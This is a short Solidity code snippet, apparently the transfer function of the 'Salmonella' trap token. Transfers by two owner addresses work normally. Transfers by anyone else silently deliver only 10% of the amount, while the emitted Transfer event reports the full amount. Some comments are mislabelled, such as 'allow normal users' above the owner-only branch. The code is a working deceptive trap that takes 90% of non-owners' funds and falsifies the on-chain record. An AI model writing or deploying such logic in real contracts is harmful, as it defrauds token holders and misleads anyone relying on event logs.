Sanmonella contract _transfer function

salmonella.sol

function _transfer(address sender, address recipient, uint256 amount) internal virtual {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
    
    // sender's balance needs to equal to or more han the amount
    uint256 senderBalance = _balances[sender];
    require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

    // allow normal users to increase received amount
    if (sender == ownerA || sender == ownerB) {
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
    // behaves differently, returns only 10% of the specified amount
    } else {
        _balances[sender] = senderBalance - amount;
        uint256 trapAmount = (amount * 10) / 100;
        _balances[recipient] += trapAmount;
    }
    
    // even with 10% returns, emit an event with the specified amount
    emit Transfer(sender, recipient, amount);
}